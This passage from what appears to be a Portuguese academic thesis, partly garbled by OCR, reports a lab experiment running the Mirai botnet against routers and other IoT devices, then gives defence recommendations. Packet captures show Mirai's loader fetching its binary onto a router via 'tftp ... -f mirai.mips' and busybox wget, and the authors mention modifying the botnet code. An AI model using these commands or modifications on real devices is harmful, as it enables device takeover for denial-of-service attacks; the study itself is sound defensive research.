578 18.124269270 192.168.2.30 192.168.2. TCP 66 33915 —~ 23 [ACK] 5eq=1111 Ack=252478 Win=18483.

Frame 557: 147 bytes on wire (1176 bits), 147 bytes captured (1176 bits) on interface ©
» Ethernet II, Src: D-LinkIn_f9:35:cc (1c:bd:b9:79:35:cc), Dst: PcsCompu_5f:7e:a’7 (08:00:27:5f:Te:a7d)

» Internet Protocol Version 4, Src: 192.168.2.1, Dst: 192.168.2.30
p Transmission Control Protocol, Src Port: 23, Dst Port: 33915, Seq: 251851, Ack: 1068, Len: 81
« Telnet

Data: bin/busybox wget; /bins/busybox tftp; /bins/busybox ECCHINrn

Data: wget: applet not found\rin

Figura 4.36: Pacote capturado indicando a auséncia do comando wget
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[W]ip.addr == 192.168.2.1 [X] -] Expression...

No. Time Source Destination Protocol Lengtt Info
557 17.803662811 192.168. 192.168.2.30 TELNET 147 Telnet Data ...
558 17.803726852 192.168. ] 192.168.2.1 TCP 66 33915 ~ 23 [ACK] Seq=1068 Ack=251932 Win=184

.B22856846

Telnet Data ...

A 2.

2. 2

¥ A
560 17.8229036656 192.168.2.30 192.168.2.1 TCP 66 33915 —~ 23 [ACK] Seq=1068 Ack=252326 Win=184
561 17.843289333 192.168.2. 192.168.2.30 TELNET 71 Telnet Data ...
562 17.843350745 192.168.2.30 192.168.2.1 TCP 66 33915 ~ 23 [ACK] Seq=1068 Ack=252331 Win=184
563 17.858539518 192.168.2.1 192.168.2.30 TELNET 88 Telnet Data ...
564 17.858784507 192.168.2.30 192.168.2.1 TCP 66 33915 ~ 23 [ACK] Seq=1068 Ack=252353 Win=184
565 17.8590116883 192.168.2.30 192.168.2.1 TELNET 109 Telnet Data ...
566 17.0902502703 192.168.2.1 192.168.2.30 TELNET 67 Telnet Data ...
567 17.944504279 192.168.2.30 192.168.2.1 TCP 66 33915 - 23 [ACK] Seq=1111 Ack=252354 Win=184
568 17.965196923 192.168.2.1 192.168.2.30 TELNET 108 Telnet Data ...
C&n 47 NECASANN4  4na 420 A An ann 4c0 a4 Ten £E AANAE NN TAPKT Crn—4444 KAal_fCANNE Lidn—404

Frame 559: 460 bytes on wire (3686 bits), 460 byCes captured (3680 Dits) on interface @

» Ethernet II, Src: D-LinkIn_f9:35:cc (1c:bd:b9:79:35:cc), Dst: PcsCompu_5fT:7e:a7 (08:00:27:5f:7e:al)
» Internet Protocol Version 4, Src: 192.168.2.1, Dst: 192.168.2.30
» Transmission Control Protocol, Src Port: 23, Dst Port: 33915, Seq: 251932, Ack: 1068, Len: 394

* Telnet
Data: BusyBox v1.00 (2009.08.10-02:17+0088) multi-call binary“rin
Data: \rin
Data: Usage: tftp [OPTION]... tftp_server_ip\rin
Data: \r\n

Data: Update firmware image and configuration data from OR backup configuration“rin
Data: data to a tftp server.\rin

Data: \rin
Data: Options:\rin
Data: -g Get file. (Update image/configuration data)“rin
Data: -p Put file. (backup configuration data)’rin
Data: -f remote file name.\r\n
Data: -t i for image and c¢ for configuration data.\ri\n
Data: \rin
Data: \rin
Figura 4.37

N: t
N: ftp 192.168.2.20 -g -f mirai.mips ;

: bcmuUploadPrepare ... curPid[634] ifPid[e] ifName[bra]

: Number of processes: 26

12:086am up 6 min,
load average: 1 min:0.85, 5 min:0.10, 15 min:0.06
total used free shared buffers
Mem: 14180 13804 376 6 1100
(¢} 0 5]
14180 13804 376

Figura 4.38: Execucao do comando tftp para realizar o download do binario

Com o roteador D-Link o processo de carregamento do binério nao obteve sucesso. Verificando
o log de erro do processo, concluiu-se que isso ocorreu devido a falta de memoéria no dispositivo. A
Fig. 4.38 mostra que o roteador tinha apenas 376 bytes livres para armazenamento em memoria,
porém os binarios tem um tamanho aproximado de 70 kbytes. Na tentativa de liberar espacgo na
memoria do dispositivo, diversos processos sao “mortos”, alguns sao apresentados na Fig. 4.39.
Apesar disso, o dispositivo permanece com apenas um kbyte impossibilitando o armazenamento

do binario. A Fig. 4.40 expdes as mensagens de erro obtidas durante o processo.
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PID Uid
1 admin
admin
admin
admin
admin
admin
admin
admin
admin
admin
admin
admin
admin
admin
admin
admin
admin
admin
admin
admin
admin
admin
admin
admin
admin
admin

280 S

SWN
SH<
SH<
SH<
SW
SW
SW
SH<
SW
5

288
324
284
288
284

[pid:
[pid:
[pid:
[pid:

: kill process [pid:

DLV UUWvyWme;wme;me;e;m

: kill process
: kill process
N: kill process

N: kill process

TELIN: Wumber of processes:

TELIN: 12:06am up 6
load average: 1 min:®
total
14180

<]

Mem:
Swap:

: Total:

VmSize Stat Command

init

[ksoftirqd/e]
[events/o]

[khelper]

[kblockd/@]

[pdflush]

[pdflush]

[kswapd@]

[aio/B]

[mtdblockd]

-sh

cfm

pvc2684d

wps_btn

snmp

tre4

httpd

cfm

pppd -c ©.0.35.1 -1 nas_0® 0 35 -u -f @ -M 1492
telnetd

telnetd

sh -c sh

sh

tftp 192.168.2.28 -g -f mirai.mips
sh -c ps = Jvar/psList
ps

473] [wps_btn]...
520] [snmp]...
529] [tr64]...
5571 [pppd]...

596] [sh]...

na tentativa de liberar espago na memoria do roteador D-Link

20

min,

.12, 5 min:®.12, 15 min:0.87

shared
0

free
1508
0

used
12672
0

14180

. done bcmUploadPrepare

Not regular image file
Allocating 4194324 bytes for flash image.

TELIN: Memory allocated

TELIN: Total image size: 79884
Not regular image file

Digital Signature check Fail!:

), DSL-2640B Max Length:19

Tftp Image failed: Illegal image.

Figura 4.40: Erros ao tentar fazer o download do binério

Dessa forma, apesar de o processo de login ter se sucedido bem, nao foi possivel transformar o

dispositivo roteador D-Link em um bot da botnet devido a incapacidade do mesmo de armazenar

e rodar o binario.
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4.4 Analise geral

4.4.1 Cédigo da botnet Mirai

Considerando o estudo do codigo e utilizacao da botnet Mirai, constatou-se que consiste de um
codigo extremamente complexo, que compreende todos os processos envolvidos para a realizagao
de um ataque DDoS, desde a descoberta e recrutamento dos agentes até a execugao do ataque em
si. Além disso, dentro de cada um desses processos estd incluida uma grande diversidade de fun-
cionalidades, como excluir malwares ja existentes nos dispositivos, mascarar do netstat a conexao
realizada no processo de autenticacao, remover os vestigios do acesso realizado pelo servidor loader

e eliminar intervalos de IP que nao devem ser incluidos no processo de scanner.

Um outro ponto observado durante a realizagao do trabalho é que além de complexo, o cdédigo
da botnet Mirai também se mostrou bastante especifico. Vale resslatar que o codigo utilizado nesse
projeto consiste na primeira versao da botnet Mirai disponibilizada na Internet, presente em [5].
No processo de acesso ao dispositivo, as mensagens recebidas pelo servigco de acesso remoto nao
sdo tratadas. E esperado pelo codigo que a primeira mensagem apresentada seja o comando de
solicitacao de login e, caso nao seja, o servidor nao consegue se autenticar. O servi¢co Telnet do
Raspberry Pi, por exemplo, apresenta algumas informagcoes bésicas sobre o sistema operacional do
dispositivo, exibidas na Fig. 4.41, que nao sao esperadas pelo cdédigo da Mirai. Dessa forma, para

obter sucesso no acesso desse dispositivo, foram necessarias modificagoes no codigo.

2P 192.168.2.49 - PUTTY

Figura 4.41: Apresentacao de mensagem no servigo Telnet do Raspberry Pi

Outra caracteristica especifica do c6digo diz respeito aos métodos de carregamento do binéario.
Os comandos wget e tftp sao precisamente definidos no co6digo, incluindo os parametros utilizados,
ndo existindo tratamento para especificidades de diferentes dispositivos ou diferentes versoes do
BusyBox. No caso do roteador D-Link, a versao do firmware era mais antiga e por isso os para-
metros presentes para o comando tftp do dispositivo eram diferentes daqueles definidos no cédigo.
Por consequéncia, ao tentar baixar o binério, era apresentada uma mensagem de erro indicando
que o comando era invalido e o processo era encerado. Nesse caso também foram necessérias

modificagoes no codigo para um funcionamento adequado.

A necessidade de modificacdo do codigo devido as especificidades encontradas, e o sucesso
obtido nesses processos modificados, ressaltam a mutabilidade do c6digo e consequente potencial

de desenvolvimento de variantes até mais robustas e eficientes que essa botnet.

55



4.4.2 Acesso remoto aos dispositivos IoT

Nos cenérios de simulagao propostos é possivel perceber que o processo de invasao do dispositivo
por meio de um servigo de acesso remoto sempre sucedeu-se de forma efetiva, concedendo aos
servidores da botnet a possibilidade de executar quaisquer comandos disponiveis no dispositivo,

sem alterar o funcionamento padrao do mesmo.

Para aumentar o espago amostral de dispositivos utilizados para teste neste trabalho e permitir
uma analise mais detalhada, foram realizados teste de acesso remoto a outro roteador, da marca
NetGear e a uma VM, utilizando o sistema operacional Ubuntu. O roteador vem de fabrica
sem credenciais de acesso para o servigo Telnet e a VM foi configurada com credenciais padroes,
sendo usuéario e senha definidos como admin. Em ambos os dispositivos nao existiram quaisquer
complicacoes para estabelecimento da comunicacao ou no processo de autenticagao. Tendo em
vista os acessos realizados, pode-se dizer que a botnet é bastante eficiente no processo de conexao

e invasao dos dispositivos.

Em relagao aos servigos de acesso remoto disponiveis para utilizagao na botnet Mirai, notou-se
que apenas o servigo Telnet é explorado pelo processo de scanner. O servico SSH também estéa
incluido no c6digo, porém a tentativa de utiliza-lo nao foi proveitosa, o que restringiu os dispositivos
disponiveis para teste, considerando que a maioria dos roteadores encontrados utilizam o servico

SSH para acesso remoto.

4.4.3 Execugao de comandos nos dispositivos IoT

O processo de execugao dos binérios nos dispositivos se mostrou como sendo a maior dificuldade
na execucao da botnet. Isso ocorre devido ao fato de que o co6digo, na versao utilizada para o de-
senvolvimento do trabalho [5], generaliza os comandos utilizados, nao explorando individualmente

as especificidades de cada dispositivo invadido.

Um primeiro ponto notado foi que a maioria dos comandos sao forgados a utilizar a ferramenta
BusyBox. Caso o dispositivo ndo possua essa ferramenta, ndo é possivel realizar o carregamento
o malware. Dessa forma, muitos roteadores ou cameras IP que possuem firmware especificos da
empresa que os fabricam, ndo podem ser considerados vulneraveis para a botnet. E importante
destacar, que essa problematica é encontrada em apenas algumas versoes do cdédigo da Mirai, como
a utilizada nesse trabalho [5]. Novas versoes e algumas variantes do codigo ja nao necessitam da

ferramenta BusyBox para a execucao dos comandos nos dispositivos.

Além disso, vale ressaltar que existem atualmente mais de vinte versoes diferentes da ferramenta
BusyBox e que os comandos e pardmetros definidos em cada uma delas podem ser variados. Por
esse motivo, fixar os parametros utilizados em cada um dos comando restringe bastante o nimero

de dispositivos que conseguem ser transformados em bot com sucesso.
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4.5 Recomendacgoes de defesa contra ataques utilizando botnets

Apoés a anélise do codigo da botnet Mirai e considerando as simulagoes realizadas e os diferentes
resultados obtidos em cada um dos cenérios, foi possivel estabelecer mecanismos de defesa razo-
avelmente simples para evitar que dispositivos IoT sejam infectados por esse tipo de malware. E
importante ressaltar que a melhor forma de evitar ataques contra dispositivos IoT seria fabrica-los
com mecanismos de seguranga inerentes. Porém, como alteragdes desse tipo serdo apenas observa-

das em um futuro préximo, adotar recomendagoes de defesa minima se torna necessario.

Na maioria das botnets, o acesso ao dispositivo é realizado a partir de mecanismos de geren-
ciamento remoto, como Telnet e SSH, sendo isso parte essencial do processo de recrutamento de
novos bots. Como grande parte desses dispositivos vém configurados de fabrica com credenciais de
acesso simples e triviais e, além disso, usuarios comuns muitas vezes nao sao instruidos a alterar
essas senhas, logar nesses dispositivos se torna uma tarefa bastante facil. Dessa forma, alterar as
senhas padroes dos dispositivos para senhas nao triviais, dificultam bastante o processo de acesso
ao dispositivo. Sabe-se que algumas botnets, como a Reaper descrita na se¢ao 2.3.4, exploram ou-
tras vulnerabilidades, nao utilizando o método de ataque de dicionério, para acesso ao dispositivo.
Porém, para muitas botnets, um importante mecanismo de defesa é a troca da senha de acesso do

dispositivo.

Ainda se tratando do acesso aos dispositivos, basicamente todos os dispositivos possuem a
opgao de desabilitar os servigos Telnet e SSH. Caso esses servigos estejam desabilitados, o acesso
ao dispositivo torna-se inviavel. Como a necessidade de configuragao e manutengao dos dispositivos
acontece esporadicamente, é recomendével manter esses servigos desabilitados e ativa-los apenas

quando for necessério.

A botnet Mirai explora dispositivos que fazem uso de BusyBox, porém existem botnets que
atacam todos os tipos de firmware. As empresas que fabricam esses dispositivos usualmente desen-
volvem versoes atualizadas de firmware que incluem novos mecanismos de defesa. Por esse motivo,

é sempre importante manter o firmware do dispositivo atualizado.

Explorando a funcionalidade do c6digo da Mirai e de outras botnets de bloquear alguns inter-
valos de IP, notou-se que as redes internas sao excluidas de muitos processos de scanner. Sendo
assim, quando possivel, é indicado manter os dispositivos [oT em redes locais isoladas e protegidas

por firewall.

Devido a grande quantidade de bots que sao administrados por uma botnet, geralmente, apos o
acesso ao dispositivo, o servidor loader é desconectado e o malware permanece apenas na memoria
do dispositivo. Por isso, pode-se dizer que grande parte das botnets nao sao persistentes e a agao
de desligar o dispositivo ja elimina o malware do mesmo. Dessa forma, o processo de reiniciar
o dispositivo em determinados intervalos de tempo é uma forma de mitigar o ataque, caso o

dispositivo j& tenha sido infectado.

Considerando os ataques DDoS que podem ser desenvolvidos com esses dispositivos IoT, é
sempre importante monitorar o trafego de rede com o uso de analisadores de pacotes e outras

ferramentas. Além disso, muitos roteadores ja possuem mecanismos de defesa contra fluxo de
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dados suspeito ou muito intenso. Portanto, é sempre valido manter as configuragoes de seguranca

ativas em roteadores.
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Capitulo 5

Conclusoes e Trabalhos Futuros

A exploracao das vulnerabilidades encontradas em dispositivos IoT e consequentemente, sua
utilizagao para a realizacao de ataques de negacao de servico, se tornou bastante comum nos
ultimos anos. Sendo assim, este trabalho objetivou estudar e desenvolver cenarios experimentais
de invasao de dispositivos IoT no contexto de ataques com o uso de botnets, bem como fazer as
anélises necessérias para propor algumas a¢oes importantes a serem tomadas para evitar que esses

dispositivos permanecam vulneraveis a esse tipo de ataque.

Com base nos estudos realizados acerca do tema, nos resultados obtidos a partir dos cenarios de
simulagao propostos e experimentacao realizada com a botnet Mirai, pode-se perceber o potencial
existente em ataques de invasao de dispositivos IoT com o uso de botnets em geral. Em todas as
tentativas de invasao desses dispositivos por meio do servigo de acesso remoto, foi possivel estabe-
lecer uma conexao e realizar a autenticagdo com o usuério administrador, tornando o dispositivo
completamente vulneravel aos comandos enviados pelos servidores da botnet, isso sem que o seu

funcionamento usual fosse prejudicado.

Em relacao a botnet Mirai, estudada de forma mais aprofundada nesse projeto, pode-se dizer
que é uma botnet bastante eficiente, porém para uma gama pouco extensa de dispositivos. Seu
codigo foi implementado de forma a invadir dispositivos de uma maneira genérica, e explorando
o menor esfor¢co possivel. Dessa forma, o codigo nao trata de especificidades encontradas nos

diferentes dispositivos IoT, sendo mais aplicivel em cameras IP.

Percebeu-se também que a aplicacao de simples recomendacoes de defesa pode diminuir sig-
nificativamente a quantidade de dispositivos vulneréveis. Considerando que a maioria das botnets
explora o ataque de dicionario em servigos de acesso remoto para a invasao dos dispositivos, de-
sabilitar esses servigos ou alterar as senhas padroes sao medidas descomplicadas para evitar que
esses ataques sejam realizados com sucesso. Contudo, é importante ressaltar que uma solucao per-
manente para as vulnerabilidades encontradas em dispositivos IoT seria acrescentar mecanismos

de defesa inerentes nesses dispositivos.
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Como a execugao deste trabalho, bem como, as devidas analises obtidas a partir dele, pode-se
listar algumas propostas de trabalhos futuros com a funcao de complementar algumas questoes

nao estudadas neste trabalho, apresentadas a seguir:

e Explorar uma maior quantidade e variedade de dispositivos IoT, incluindo cameras IP que

sao os principais alvos desse tipo de ataque.

e Realizar modificagbes no cédigo original da botnet Mirai visando averiguar outras vulnerabi-
lidades presentes nesses dispositivos além da utilizacao da técnica de forga bruta para autenticagao

no servigo de acesso remoto.

e Implementar uma arquitetura de deteccao e defesa contra ataques direcionados & dispositivos

IoT, de forma a estabelecer um mecanismo de seguranca inerente.
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